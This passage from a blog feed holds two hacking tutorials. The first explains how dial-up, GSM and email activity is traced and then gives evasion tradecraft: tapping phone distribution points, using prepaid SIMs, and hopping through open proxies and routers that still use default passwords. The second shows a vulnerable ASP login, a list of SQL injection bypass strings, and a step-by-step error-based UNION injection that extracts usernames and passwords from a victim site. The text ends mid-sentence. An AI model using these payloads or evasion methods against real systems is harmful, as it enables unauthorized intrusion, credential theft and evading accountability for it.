		<description><![CDATA[I always wondered whether i could ever transform myself into wind. Moving from places to places, with no rules, no restrictions and above all no individuality. It looks distant reality in real life but being anonymous on net is not that  tough.
Before you can start to hack systems you need a platform to work [...]]]></description>
			<content:encoded><![CDATA[<p>I always wondered whether i could ever transform myself into wind. Moving from places to places, with no rules, no restrictions and above all no individuality. It looks distant reality in real life but being anonymous on net is not that  tough.<br /><span class="fullpost"></p>
<p>Before you can start to hack systems you need a platform to work from. This platform must be stable and not easily traceable. How does one become anonymous on the Internet? . Let us look.</p>
<p><span style="font-weight: bold;">Permanent connection (leased line, cable, fiber)</span></p>
<p>The problem with these connections is that it needs to be installed by your local Telecom at a premise where you are physically located. Most ISPs wants you to sign a contract when you install a permanent line, and ask for identification papers. So, unless you can produce false identification papers, company papers etc., and have access to a building that cannot be directly tied to your name, this is not a good idea.</p>
<p><span style="font-weight: bold;">Dial-up</span></p>
<p>Many ISPs provides “free dial-up” accounts. The problem is that logs are kept either at the ISP, or at Telecom of calls that were made. At the ISP side this is normally done using RADIUS or TACACS. The RADIUS server will record the time that you dialed in, the connection speed, the reason for disconnecting, the time that you disconnected and the userID that you used. Armed with his information the Telecom can usually provide the source number of the call (YOUR number). For the Telecom to pinpoint the source of the call they need the destination number (the number you called), the time the call was placed and the duration of the call. In many cases, the Telecom need not be involved at all, as the ISP records the source number themselves via Caller Line Identification (CLI).</p>
<p>Let us assume that we find the DNS name “c1-pta-25.dial-up.net” in our logs and we want to trace the attacker. We also assume that the ISP does not support caller line identification, and the attacker was using a compromised account. We contact the ISP to find out what the destination number would be with a DNS name like that. The ISP provides the number &#8211; e.g. +27 12 664 5555. It’s a hunting line &#8211; meaning that there is one number with many phone lines connected to it. We also tell the ISP the time and date the attack took place (from our logs files). Let us assume the attack took place 2000/8/2 at 17h17. The RADIUS server tells us what userID was used, as well as the time it was connected: (these are the typical logs)</p>
<p>6774138 2000-08-02 17:05:00.0 2000-08-02 17:25:00.0 demo1 icon.co.za 168.209.4.61 2 Async 196.34.158.25 52000 1248 00010 B6B 87369 617378 null 11</p>
<p>These logs tell us that user “demo1″ was connected from 17h05 to 17h25 on the date the attack took place. It was dialing in at a speed of 52kbps, it send 87369 bytes, and received 617378 bytes. We now have the start time of the call, the destination number and the duration of the call (20 minutes). Telecom will supply us with source number as well as account details &#8211; e.g. physical location. As you can see, phoning from your house to an ISP (even using a compromised or free ID) is not making any sense.</p>
<p><span style="font-weight: bold;">Mobile (GSM) dial-up</span></p>
<p>Maybe using a GSM mobile phone will help? What can the GSM mobile service providers extract from their logs? What is logged? A lot it seems. GSM switches send raw logging information to systems that crunch the data into what is called Call Data Records (CDRs). More systems crush CDRs in SCDRs (Simple CDR). The SCDRs is sent to the various providers for billing. How does a CDR look like? Hereby an example of a broken down CDR:</p>
<p>99042300000123000004018927000000005216003</p>
<p>27834486997</p>
<p>9903220753571830</p>
<p>834544204</p>
<p>000001MOBILE000</p>
<p>0000001000000000000000000</p>
<p>AIRTIME1:24</p>
<p>20377</p>
<p>UON0000T11L</p>
<p>MTL420121414652470</p>
<p>This tells us that date and time the call was placed (1st string), the source number (+27 83 448 6997), the destination number (834544204), that it was made from a mobile phone, the duration of the call (1 minute 24 seconds), the cellID (20377), the three letter code for the service provider (MTL = Mtel in this case), and the unique mobile device number (IMEI number) 420121414652470. Another database can quickly identify the location (long/lat) of the cell. This database typically looks like this:</p>
<p>20377</p>
<p>25731</p>
<p>-26.043059</p>
<p>28.011393</p>
<p>120</p>
<p>32</p>
<p>103</p>
<p>“Didata Oval uCell”,”Sandton”</p>
<p>From this database we can see that the exact longitude and latitude of the cell (in this case in the middle of Sandton, Johannesburg) and the description of the cell. The call was thus placed from the Dimension Data Oval in Sandton. Other databases provide the account information for the specific source number. It is important to note that the IMEI number is also logged &#8211; using your phone to phone your mother, switching SIM cards, moving to a different location and hacking the NSA is not a good idea using the same device is not bright &#8211; the IMEI number stays the same, and links you to all other calls that you have made. Building a profile is very easy and you’ll be nailed in no time.</p>
<p>Using time advances and additional tracking cells, it is theoretically possible to track you up to a resolution of 100 meters, but as the switches only keep these logs for 24 hours, it is usually done in real time with other tracking devices &#8211; and only in extreme situations. Bottom line &#8211; even if you use a GSM mobile phone as modem device, the GSM service providers knows a lot more about you than you might suspect.</p>
<p><span style="font-weight: bold;">How to</span></p>
<p>So how do we use dial in accounts? It seems that having a compromised dial in account does not help at all, but common sense goes a long way. Suppose you used a landline, and they track you down to someone that does not even owns a computer? Or to the PABX of a business? Or to a payphone? Keeping all of above in mind &#8211; hereby a list of notes: (all kinda common sense)</p>
<p>Landlines:</p>
<p>1. Tag your notebook computer, modem and croc-clips along to a DP (distribution point). These are found all around &#8211; it is not discussed in detail here as it differs from country to country. Choose a random line and phone.</p>
<p>2. In many cases one can walk into a large corporation with a notebook and a suit with no questions asked. Find any empty office, sit down, plug in and dial.</p>
<p>3. etc…use your imagination</p>
<p>GSM:</p>
<p>1. Remember that the device number (IMEI) is logged (and it can be blocked). Keep this in mind! The ultimate would be to use a single device only once. &#8211; never use the device in a location that is linked to you (e.g. a microcell inside your office)</p>
<p>2. Try to use either a very densely populated cell (shopping malls) or a location where there is only one tracking cell (like close to the highway) as it makes it very hard to do spot positioning. Moving around while you are online also makes it much harder to track you down.</p>
<p>3. Use prepaid cards! For obvious reasons you do not want the source number to point directly to you. Prepaid cards are readily available without any form of identification. (note: some prepaid cards does not have data facilities, so find out first)</p>
<p>4. GSM has data limitations &#8211; currently the maximum data rate is 9600bps.</p>
<p><span style="font-weight: bold;">Using the I’net</span></p>
<p>All of this seems like a lot of trouble. Is there not an easier way of becoming anonymous on the Internet? Indeed there are many ways to skin a cat. It really depends on what type of connectivity you need. Lets assume all you want to do is sending anonymous email (I look at email specifically because many of the techniques involved can be used for other services such as HTTP, FTP etc.). How difficult could it be?</p>
<p>For many individuals it seems that registering a fake Hotmail, Yahoo etc. account and popping a flame email to a unsuspected recipient is the way to go. Doing this could land you in a lot of trouble. Lets look at a header of email that originating from Yahoo:</p>
<p>Return-Path:</p>
<p>Received: from web111.yahoomail.com (web111.yahoomail.com [205.180.60.81])</p>
<p>by wips.sensepost.com (8.9.3/1.0.0) with SMTP id MAA04124</p>
<p>for ; Sat, 15 Jul 2000 12:35:55 +0200 (SAST)</p>
<p>(envelope-from r_h@yahoo.com)</p>
<p>Received: (qmail 636 invoked by uid 60001); 15 Jul 2000 10:37:15 -0000</p>
<p>Message-ID: <20000715103715.635.qmail@web111.yahoomail.com></p>
<p>Received: from [196.34.250.7] by web111.yahoomail.com; Sat,</p>
<p>15 Jul 2000 03:37:15 PDT</p>
<p>Date: Sat, 15 Jul 2000 03:37:15 -0700 (PDT)</p>
<p>From: RH</p>
<p>Subject: Hello</p>
<p>To: roelof@sensepost.com</p>
<p>MIME-Version: 1.0</p>
<p>Content-Type: text/plain; charset=us-ascii</p>
<p>The mail header tells us that our mailserver (wips.sensepost.com) received email via SMTP from the web-enabled mailserver (web111.yahoomail.com). It also tells us that the web-enabled mailserver received the mail via HTTP (the web) from the IP number 196.34.250.7. It is thus possible to trace the email to the originator. Given the fact that we have the time the webserver received the mail (over the web) and the source IP, we can use techniques explained earlier to find the person who was sending the email. Most free web enabled email services includes the client source IP (list of free email providers at www.fepg.net).</p>
<p>How to overcome this? There are some people that think that one should be allowed to surf the Internet totally anonymous. An example of these people is Anonymizer.com (www.anonymizer.com). Anonymizer.com allows you to enter a URL into a text box. It then proxy all connections to the specified destination. Anonymizer claims that they only keep hashes (one way encryption, cannot be reversed) of logs. According to documentation on the Anonymizer website there is no way that even they can determine your source IP. Surfing to Hotmail via Anonymizer thus change the IP address in the mail header.</p>
<p>But beware. Many ISPs make use of technology called transparent proxy servers. These servers is normally located between the ISP’s clients and their main feed to the Internet. These servers pick up on HTTP requests, change the source IP to their own IP and does the reverse upon receiving the return packet. All of this is totally transparent to the end user &#8211; therefore the name. And the servers keep logs. Typically the servers cannot keep logs forever, but the ISP could be backing up logs for analyses. Would I be tasked to find a person that sent mail via Hotmail and Anonymizer I would ask for the transparent proxy logs for the time the user was connected to the web-enabled mailserver, and search for connections to Anonymizer. With any luck it would be the only connections to the Anonymizer in that time frame. Although I won’t be able to prove it, I would find the source IP involved.</p>
<p>Another way of tackling the problem is anonymous remailers. These mailservers will change your source IP, your field and might relay the mail with a random delay. In many cases these remailers are daisy chained together in a random pattern. The problem with remailers is that many of them do keep logs of incoming connections. Choosing the initial remailer can be become an art. Remailers usually have to provide logfiles at the request of the local government. The country of origin of the remailer is thus very important as cyberlaw differs from country to country. A good summary of remailers (complete with listings of remailers can be found at www.cs.berkeley.edu/~raph/remailer-list.html).</p>
<p>Yet another way is to make use of servers that provide free Unix shell accounts. You can telnet directly to these servers (some provide SSH (encrypted shells) access as well). Most of the free shell providers also provide email facilities, but limit shell capabilities -e.g. you can’t telnet from the free shell server to another server. In 99% of the cases connections are logged, and logs are kept in backup. A website that list most free shell providers are to be found at www.leftfoot.com/freeshells.html. Some freeshell servers provider more shell functionality than others &#8211; consult the list for detailed descriptions.</p>
<p>How do we combine all of the above to send email anonymously? Consider this &#8211; I SSH to a freeshell server. I therefor bypass the transparent proxies, and my communication to the server is encrypted and thus invisible to people that might be sniffing my network (locally or anywhere). I use lynx (a text based web browser) to connect to an Anonymizer service. From the Anonymizer I connect to a free email service. I might also consider a remailer located somewhere in Finland. 100% safe?</p>
<p>Even when using all of above measures I cannot be 100% sure that I cannot be traced. In most cases logs are kept of every move you make. Daisy chaining and hopping between sites and servers does make it hard to be traced, but not impossible.</p>
<p><span style="font-weight: bold;">Other techniques</span></p>
<p>1. The cybercafe is your friend! Although cybercafes are stepping up their security measures it is still relatively easy to walk into a cybercafe without any form of identification. Sit down, and surf to hotmail.com &#8211; no one would notice as everyone else is doing exactly the same thing. Compose your email and walk out. Do not become a regular! Never visit the scene of the crime again. When indulging in other activities such as telnetting to servers or doing a full blast hack cybercafes should be avoided as your activity can raise suspicion with the administrators.</p>
<p>2. Search for proxy like services. Here I am referring to things like WinGate servers. WinGate server runs on a Microsoft platform and is used as a proxy server for a small network (read SOHO environment with a dial-up link). In many cases these servers are not configured correctly and will allow anyone to proxy/relay via them. These servers do not keep any logs by default. Hoping via WinGate servers is so popular that lists of active WinGates are published (www.cyberarmy.com/lists/wingate/).</p>
<p>3. With some experience you can hop via open routers. Finding open routers are very easy &#8211; many routers on the Internet is configured with default passwords (list of default passwords to be found at www.nerdnet.com/security/index.php )</p>
<p>Doing a host scan with port 23 (later more on this) in a “router subnet” would quickly reveal valid candidates. In most of the cases these routers are not configured to log incoming connections, and provides excellent stepping-stones to freeshell servers. You might also consider daisy chaining them together for maximum protection.</p>
<p>4. Change the communication medium. Connect to a X.25 pad via a XXX service. Find the DTE of a dial-out X.25 PAD. Dial back to your local service provider. Your telephone call now originates from e.g. Sweden. Confused? See the section on X.25 hacking later in the document. The exact same principle can be applied using open routers (see point 3) Some open routers listens on high ports (typically 2001,3001,X001) and drops you directly into the AT command set of a dial-out modems. Get creative.</p>
<p>The best way to stay anonymous and untraceable on the Internet would be a creative mix of all of the above-mentioned techniques. There is no easy way to be 100% sure all of the time that you are not traceable. The nature of the “hack” should determine how many “stealth” techniques should be used. Doing a simple portscan to a university in Mexico should not dictate that you use 15 hops and 5 different mediums.</p>
<p>For more information read: Breaking into computer networks from the Internet [Roelof Temmingh &amp; SensePost]</p>
<p></span></p>
]]></content:encoded>
			<wfw:commentRss>http://ankitkumaragarwal.com/staying-anonymous-on-net/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>DataBase Hacking</title>
		<link>http://ankitkumaragarwal.com/database-hacking/</link>
		<comments>http://ankitkumaragarwal.com/database-hacking/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 02:47:00 +0000</pubDate>
		<dc:creator>Ankit Kumar Agarwal</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://ankitkumaragarwal.com/?p=8</guid>
		<description><![CDATA[Databases have                    been the heart of a commercial website. An attack on the                    database servers can cause [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-family:arial,helvetica;font-size:-1;"><span class="edgeatext">Databases have                    been the heart of a commercial website. An attack on the                    database servers can cause a great monetary loss for the                    company. Database servers are usually hacked to get the credit                    card information. And just one hack on a commercial site will                    bring down its reputation and also the customers as they also                    want their credit card info secured. Most of the commercial                    websites use Microsoft sql (MSsql) and Oracle database                    servers. MS sql still owns the market because the price is                    very low. While Oracle servers come with high price. Well some                    time ago Oracle had claimed itself to be “unbreakable” But                    hackers took it as a challenge and showed lots of bugs in it                    also !! I was addicted to hacking of database servers from a                    few months. So I just decided to share the knowledge with                    others. Well the things discussed here are not discovered by                    me ok. Yeah I experimented with them a lot.<br />
<br /><span class="fullpost"></p>
<p>The                    article is divided into two parts:<br />
<br />1. Using the HTTP port                    80<br />
<br />2. Using the MS SQL port 1434</p>
<p>Part I – Using                    HTTP port 80 ( Or better would be malformed                    URLs)<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>This                    part will be useful not only to the hackers but also to the                    web designers. A common mistake made by the web designers can                    reveal the databases of the server to the hacker. Lets see on                    it. The whole game is of query strings. So it is assumed that                    the reader has some knowledge about queries and asp. And one                    more thing. This hack is done using only through the browser.                    So you even don&#8217;t require any other tools except IE or                    Netscape.<br />
<br />Normally, inorder to make a login page, the web                    designer will write the following                    code.</p>
<p>login.htm<br />
<br /><code><span style="color: rgb(0, 0, 0);"><span style="color: rgb(0, 0, 187);"><br />
<br /></span><span style="color: rgb(0, 119, 0);"><</span><span style="color: rgb(0, 0, 187);">html</span><span style="color: rgb(0, 119, 0);">><br />
<br /><</span><span style="color: rgb(0, 0, 187);">body</span><span style="color: rgb(0, 119, 0);">><br />
<br /><</span><span style="color: rgb(0, 0, 187);">form method</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(0, 0, 187);">get action</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(221, 0, 0);">"logincheck.asp"</span><span style="color: rgb(0, 119, 0);">><br />
<br /><</span><span style="color: rgb(0, 0, 187);">input type</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(221, 0, 0);">"text" </span><span style="color: rgb(0, 0, 187);">name</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(221, 0, 0);">"login_name"</span><span style="color: rgb(0, 119, 0);">><br />
<br /><</span><span style="color: rgb(0, 0, 187);">input type</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(221, 0, 0);">"text" </span><span style="color: rgb(0, 0, 187);">name</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(221, 0, 0);">"pass"</span><span style="color: rgb(0, 119, 0);">><br />
<br /><</span><span style="color: rgb(0, 0, 187);">input type</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(221, 0, 0);">"submit" </span><span style="color: rgb(0, 0, 187);">value</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(221, 0, 0);">"sign in"</span><span style="color: rgb(0, 119, 0);">><br />
<br /></</span><span style="color: rgb(0, 0, 187);">form</span><span style="color: rgb(0, 119, 0);">><br />
<br /></</span><span style="color: rgb(0, 0, 187);">body</span><span style="color: rgb(0, 119, 0);">><br />
<br /></</span><span style="color: rgb(0, 0, 187);">html</span><span style="color: rgb(0, 119, 0);">><br />
<br /></span><span style="color: rgb(0, 0, 187);"></span></span></code><br />
<br />logincheck.asp<br />
<br /><code><span style="color: rgb(0, 0, 0);"><span style="color: rgb(0, 0, 187);"><br />
<br /></span><span style="color: rgb(0, 119, 0);"><@</span><span style="color: rgb(0, 0, 187);">language</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(221, 0, 0);">"vbscript"</span><span style="color: rgb(0, 119, 0);">><br />
<br /><%<br />
<br /></span><span style="color: rgb(0, 0, 187);">dim conn</span><span style="color: rgb(0, 119, 0);">,</span><span style="color: rgb(0, 0, 187);">rs</span><span style="color: rgb(0, 119, 0);">,</span><span style="color: rgb(0, 0, 187);">log</span><span style="color: rgb(0, 119, 0);">,</span><span style="color: rgb(0, 0, 187);">pwd<br />
<br />log</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(0, 0, 187);">Request</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">form</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(221, 0, 0);">"login_name"</span><span style="color: rgb(0, 119, 0);">)<br />
<br /></span><span style="color: rgb(0, 0, 187);">pwd</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(0, 0, 187);">Request</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">form</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(221, 0, 0);">"pass"</span><span style="color: rgb(0, 119, 0);">)</p>
<p></span><span style="color: rgb(0, 0, 187);">set conn </span><span style="color: rgb(0, 119, 0);">= </span><span style="color: rgb(0, 0, 187);">Server</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">CreateObject</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(221, 0, 0);">"ADODB.Connection"</span><span style="color: rgb(0, 119, 0);">)<br />
<br /></span><span style="color: rgb(0, 0, 187);">conn</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">ConnectionString</span><span style="color: rgb(0, 119, 0);">=</span><span style="color: rgb(221, 0, 0);">"provider=microsoft.jet.OLEDB.4.0;data source=c:\folder\multiplex.mdb"<br />
<br /></span><span style="color: rgb(0, 0, 187);">conn</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">Open<br />
<br />set rs </span><span style="color: rgb(0, 119, 0);">= </span><span style="color: rgb(0, 0, 187);">Server</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">CreateObject</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(221, 0, 0);">"ADODB.Recordset"</span><span style="color: rgb(0, 119, 0);">)<br />
<br /></span><span style="color: rgb(0, 0, 187);">rs</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">open </span><span style="color: rgb(221, 0, 0);">"Select * from table1 where login='"</span><span style="color: rgb(0, 119, 0);">&amp;</span><span style="color: rgb(0, 0, 187);">log</span><span style="color: rgb(0, 119, 0);">&amp; </span><span style="color: rgb(221, 0, 0);">"' and password='" </span><span style="color: rgb(0, 119, 0);">&amp;</span><span style="color: rgb(0, 0, 187);">pwd</span><span style="color: rgb(0, 119, 0);">&amp; </span><span style="color: rgb(221, 0, 0);">"' "</span><span style="color: rgb(0, 119, 0);">,</span><span style="color: rgb(0, 0, 187);">conn<br />
<br /></span><span style="color: rgb(0, 119, 0);">If </span><span style="color: rgb(0, 0, 187);">rs</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">EOF<br />
<br />            response</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">write</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(221, 0, 0);">"Login failed"</span><span style="color: rgb(0, 119, 0);">)<br />
<br />else<br />
<br />            </span><span style="color: rgb(0, 0, 187);">response</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">write</span><span style="color: rgb(0, 119, 0);">(</span><span style="color: rgb(221, 0, 0);">"Login successful"</span><span style="color: rgb(0, 119, 0);">)<br />
<br /></span><span style="color: rgb(0, 0, 187);">End </span><span style="color: rgb(0, 119, 0);">if<br />
<br />%> </span><span style="color: rgb(0, 0, 187);"></span> </span></code></p>
<p>Looking                    at the above code at first site it seems OK. A user will type                    his login name and password in login.htm page and click the                    submit button. The value of the text boxes will be passed to                    the logincheck.asp page where it will be checked using the                    query string. If it doesn&#8217;t get an entry satisfying the query                    and will reach end of file a message of login failed will be                    displayed. Every thing seems to be OK. But wait a minute.                    Think again. Is every thing really OK ?!! What about the query                    ?!! Is it OK. Well if you have made a page like this then a                    hacker can easily login successfully without knowing the                    password. How ? Lets look at the querry again.</p>
<p>&#8220;Select                    * from table1 where login=&#8217;&#8221;&amp;log&amp; &#8220;&#8216; and password=&#8217;&#8221;                    &amp;pwd&amp; &#8220;&#8216; &#8221;</p>
<p>Now if a user types his login name                    as &#8220;Chintan&#8221; and password as &#8220;h4&#215;3r&#8221; then these values will                    pass to the asp page with post method and then the above query                    will become</p>
<p>&#8220;Select * from table1 where login=&#8217; Chintan                    &#8216; and password=&#8217; h4&#215;3r &#8216; &#8221;</p>
<p>Thats fine. There will be an                    entry Chintan and h4&#215;3r in login and password fields in the                    database so we will receive a message as login successful. Now                    what if I type loginname as &#8220;Chintan&#8221; and password as<br />
<br />hi&#8217;                    or &#8216;a&#8217;='a in the password text box ? The query will become as                    follows:</p>
<p>&#8220;Select * from table1 where login=&#8217; Chintan &#8216;                    and password=&#8217; hi&#8217; or &#8216;a&#8217;='a &#8216; &#8221;</p>
<p>And submit and                    bingo!!!!! I will get the message as Login successful !! Did                    you see the smartness of hacker which was due to carelessness                    of web designer ? !!<br />
<br />The query gets satisfied as query                    changes and password needs to &#8216;hi&#8217; or &#8216;a&#8217; needs to be equal to                    &#8216;a&#8217;. Clearly password is not &#8216;hi&#8217; but at the same time &#8216;a&#8217;='a&#8217;                    . So condition is satisfied. And a hacker is in with login                    &#8220;Chintan&#8221; !! You can try the following in the password text                    box if the above doesn&#8217;t work for some websites:</p>
<p>hi&#8221; or                    &#8220;a&#8221;=&#8221;a<br />
<br />hi&#8221; or 1=1 &#8211;<br />
<br />hi&#8217; or 1=1 &#8211;<br />
<br />hi&#8217; or                    &#8216;a&#8217;='a<br />
<br />hi&#8217;) or (&#8216;a&#8217;='a<br />
<br />hi&#8221;) or (&#8220;a&#8221;=&#8221;a</p>
<p>Here above                    &#8212; will make the rest of the query string to be a comment                    other conditions will not be checked. Similary you can provide                   </p>
<p>Chintan &#8216; &#8211;<br />
<br />Chintan &#8221; &#8211;</p>
<p>or such types of                    other possibilites in the login name textbox and password as                    anything which might let you in. Because in the query string                    only login name is checked as &#8220;Chintan&#8221; and rest is ignored                    due to &#8211;. Well if you are lucky enough you get such a website                    were the webdesigner has done the above mistake and then you                    will be able to login as any user !!!</p>
<p>IMP NOTE: Hey                    guys I have put up a page where you can experiment for                    yourself about the sql injection vulnerablity. Just go to                    www33.brinkster.com/chintantrivedi/login.htm</p>
<p>More                    advance hacking of Databases using ODBC error                    messages!!!<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Above                    we saw as to how login successfully without knowing password.                    Now over here I will show you how to read the whole database                    just by using queries in the URL !! And this works only for                    IIS i.e asp pages. And we know that IIS covers almost 35% of                    the web market. So you will definitely get a victim just after                    searching a few websites. You might have seen something like                   </p>
<p><a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45" target="_blank">http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45</a>                   </p>
<p>in the URLs. &#8216;?&#8217; over there shows that after it, 45                    value is passed to a hidden datatype id. Well if you don&#8217;t                    understand then as we have seen in the above example in the                    login.htm, having two input text types with names &#8216;login_name&#8217;                    and &#8216;pass&#8217; and there values were passed to logincheck.asp                    page. The same thing can be done by directly opening the                    logincheck.asp page using<br />
<br /><a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/logincheck.asp?login_name=Chintan&amp;pass=h4x3r" target="_blank">http://neworder.box.sk/redirect.php?http://www.nosecurity.com/logincheck.asp?login_name=Chintan&amp;pass=h4&#215;3r</a><br />
<br />in the URL if method=&#8221;get&#8221; is used instead of                    method=&#8221;post&#8221;.</p>
<p>Note : or Difference between get and                    post method is that post method doesn&#8217;t show up values passed                    to next paged in the url while get method shows up the values.                    To get more understanding of how they internally work read                    HTTP protocol RFC 1945 and RFC 2616.</p>
<p>What i mean to say                    is that after &#8216;?&#8217; the variables which are going to be used in                    that page are assigned the values. As above login_name is                    given value Chintan. And different variables are separated by                    operator &#8216;&amp;&#8217;.</p>
<p>OK so coming back, id will mostly be                    hidden type and according to the links you click its value                    will change. This value of id is then passed in the query in                    mypage.asp page and according tothe results you get the                    desired page at your screen. Now if just change the value of                    id as 46 then you will get different page.<br />
<br />Now lets start                    our hacking the database. Lets use the magic of queries. Just                    type</p>
<p><a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45" target="_blank">http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45</a>                    UNION SELECT TOP 1 TABLE_NAME FROM                    INFORMATION_SCHEMA.TABLES&#8211;</p>
<p>in the URL.                    INFORMATION_SCHEMA.TABLES is a system table and it contains                    information of all the tables of the server. In that there is                    field TABLE_NAME which contains names of all the tables. See                    the query again<br />
<br />SELECT TOP 1 TABLE_NAME FROM                    INFORMATION_SCHEMA.TABLES<br />
<br />The result of this query is the                    first table name from INFORMATION_SCHEMA.TABLES table. But the                    result we get is a table name which is a string(nvarchar) and                    we are uniting it with 45(integer) by UNION. So we will get an                    error message as</p>
<p>Microsoft OLE DB Provider for ODBC                    Drivers error &#8216;80040e07&#8242; [Microsoft][ODBC SQL Server                    Driver][SQL Server]Syntax error converting the nvarchar value                    &#8216;logintable&#8217; to a column of data type int. /mypage.asp, line                   </p>
<p>From the error its clear that first table is                    &#8216;logintable&#8217;. It seems that this table might contain login                    names and passwords <img src='http://ankitkumaragarwal.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  So lets move in it. Type the following                    in the URL</p>
<p><a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45" target="_blank">http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45</a>                    UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS                    WHERE TABLE_NAME=&#8217;logintable&#8217;&#8211;</p>
<p>output<br />
<br />Microsoft OLE                    DB Provider for ODBC Drivers error &#8216;80040e07&#8242;<br />
<br />[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax                    error converting the nvarchar<br />
<br />value &#8216;login_id&#8217; to a column                    of data type int.<br />
<br />/index.asp, line 5</p>
<p>The above                    error message shows that the first field or column in                    logintable is login_id. To get the next column name will                    type</p>
<p><a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45" target="_blank">http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45</a>                    UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS                    WHERE TABLE_NAME=&#8217;logintable&#8217; WHERE COLUMN_NAME NOT IN                    (&#8216;login_id&#8217;)&#8211;</p>
<p>Output:<br />
<br />Microsoft OLE DB Provider for                    ODBC Drivers error &#8216;80040e07&#8242;<br />
<br />[Microsoft][ODBC SQL Server                    Driver][SQL Server]Syntax error converting the                    nvarchar<br />
<br />value &#8216;login_name&#8217; to a column of data type int.<br />
<br />/index.asp, line 5</p>
<p>So we get one more field name as                    &#8216;login_name&#8217;. To get the third field name we will write                   </p>
<p><a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45" target="_blank">http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45</a>                    UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS                    WHERE TABLE_NAME=&#8217;logintable&#8217; WHERE COLUMN_NAME NOT IN                    (&#8216;login_id&#8217;,'login_name&#8217;)&#8211;</p>
<p>Microsoft OLE DB Provider                    for ODBC Drivers error &#8216;80040e07&#8242;<br />
<br />[Microsoft][ODBC SQL                    Server Driver][SQL Server]Syntax error converting the                    nvarchar<br />
<br />value &#8216;passwd&#8217; to a column of data type int.<br />
<br />/index.asp, line 5</p>
<p>Thats it. We ultimately get the                    &#8216;passwd&#8217; field. Now lets get the login names and<br />
<br />passwords                    from this table &#8220;logintable&#8221;. Type</p>
<p><a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45" target="_blank">http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45</a>                    UNION SELECT TOP 1 login_name FROM                    logintable&#8211;</p>
<p>Output:<br />
<br />Microsoft OLE DB Provider for                    ODBC Drivers error &#8216;80040e07&#8242;<br />
<br />[Microsoft][ODBC SQL Server                    Driver][SQL Server]Syntax error converting the nvarchar<br />
<br />value &#8216;Rahul&#8217; to a column of data type int.<br />
<br />/index.asp, line 5</p>
<p>Thats the login name &#8220;Rahul&#8221; and                    to get the password of Rahul the query would be</p>
<p><a href="http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45" target="_blank">http://neworder.box.sk/redirect.php?http://www.nosecurity.com/mypage.asp?id=45</a>                    UNION SELECT TOP 1 password FROM logintable<br />
<br />where                    login_name=&#8217;Rahul&#8217;&#8211;</p>
<p>Output:<br />
<br />Microsoft OLE DB                    Provider for ODBC Drivers error &#8216;80040e07&#8242;<br />
<br />[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax                    error converting the nvarchar<br />
<br />value &#8216;P455w0rd&#8217; to a column                    of data type int.<br />
<br />/index.asp, line 5</p>
<p>Voila!! login                    name: Rahul and password: P455w0rd. You have cracked the                    database of<br />
